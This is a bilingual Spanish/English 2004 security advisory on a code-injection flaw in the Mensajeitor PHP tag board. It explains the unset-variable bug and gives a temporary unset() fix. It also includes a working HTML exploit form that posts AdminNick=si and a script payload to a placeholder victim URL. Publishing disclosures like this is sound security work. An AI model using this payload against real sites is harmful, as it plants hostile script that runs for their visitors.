Inyección de código en 'Mensajeitor' <= 1.8.9 r1
   
   
- 1 - Introducción - Intro

Mensajeitor ( http://www.mensajeitor.com ) es un tag board, en el cual los visitantes pueden insertar su nick y un mensaje en la página web donde se encuentra instalado; se puede descargar para instalar en cualquier pagina web o un modulo que se integra en PHP-Nuke. Las pruebas realizadas han sido sobre la versión v1.8.9 r1, por lo cual las versiones anteriores tambien pueden ser vulnerables."

Mensajeitor is a kind of tag board, in which the visitors can insert his nick and a message in the web page where its installed. The tests have been on the version v1.8.9 r1, thus the previous versions must be vulnerable also
.

- 2 - Descripción de la vulnerabilidad - Vulnerability description

Código:

  for($i=0;$i<count($NicksRegs);$i++) {
    list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]);

    if ($nick == $admin_nick) {
       $cadena_final .= "<span class=\"admin\">".$nick."</span>";
       $AdminNick = "si";
    }
  }

  if ($AdminNick != "si") {
    $cadena_final .= "<acronym title='".nickinfo($nick_info)."'>$nick</acronym>";
  }

En el código anterior, se comprueba si el nick que vamos a usar es el del admin y si lo es, da un valor de como mostrará el texto en la variable $cadena_final, fijando el valor "si" a la variable AdminNick en caso de ser el administrador. Si AdminNick no es "si", fija el texto como un nick normal.

El problema esta en que en ningun momento unsetea AdminNick , ni pone un else si el nick no es del de admin y pusiera $AdminNick="no".

Así que cuando se envian las variables para insertar un comentario nuevo, podemos añadir AdminNick=si , como el nick que usaremos no es el de admin , no pondrá valor a $cadena_final , pero como $AdminNick aparece como "si" , tampoco dará valor de usuario normal, por lo que $cadena_final en ningun momento le da valor alguno, es entonces cuando podemos también enviarle que valor queremos que tenga.

El valor que se le dará será </table> al principio para que cierre la tabla e interprete el codigo que se le inserte, despues de esto podemos poner codigo html, javascript, vbs, o lo que se quiera.

In the previous code, it is verified if nick that we are going to use is the one of admin and if it is it, gives a value of as it shows the text in the variable $cadena_final, fixing the value "si" in the variable AdminNick to case of being the administrator. If AdminNick is not "si", it fixes the text like a normal nick.

The problem is that AdminNick is never unset and no puts an 'else' if nick is not admin.

 

- 3 - Forma de explotar esta vulnerabilidad - How to exploit it

Solo hay que cambiar "http://www.victima.com/mensajeitor.php" por la web vulnerable.

Only change "http://www.victima.com/mensajeitor.php" with the vulnerable web.

--------------------- CUT HERE ---------------------

<html>
<head><title>Mensajeitor Exploit</title></head>
<body>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1<br><br>

<form name="form1" method="post" action="http://www.victima.com/mensajeitor.php">
    <input type="text" name="nick" size="10" value="Nick" maxlength="9"><br>
    <input type="text" name="titulo" size="21" value="Mensaje"><br>
    <input type="text" name="url" size="21" value="http://"><br>
    <input type="hidden" name="AdminNick" value="si"><br>
    Introduce codigo a insertar (&lt;/table&gt; debe incluirse al principio)<br>
    <input type="text" name="cadena_final" size="75%" value="</table><script>alert('hacked ;)')</script>"><br>
    <input type="submit" name="enviar" value="Enviar" class="form"><br>
</form>

MensajeitorPHP propiedad de aaff.<br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
</body></html>

--------------------- CUT HERE ---------------------


- 4 - Solución - Solution


Como solucion temporal hasta que salga una corrección oficial podemos poner en mensajeitor.php la siguiente linea:

if ($cadena_final) { unset($cadena_final); }

(antes de  $nick = htmlspecialchars($nick);)

Temporary solution:

if ($cadena_final) { unset($cadena_final); }

(before  $nick = htmlspecialchars($nick);)


- 5 - Créditos - Credits



Autor: Jordi Corrales ( jordi[at]shellsec.net )
Editor: Fernando Ortega ( fernando[at]shellsec.net )
Fecha: 04 de Julio de 2004
Url: http://www.shellsec.net
Comentarios: Publicado también en http://cyruxnet.webcindario.com/viewtopic.php?t=499
 

 

     

 

La seguridad no es un concepto booleano, si no un concepto cuantitativo
Shell Security Group 2.003
©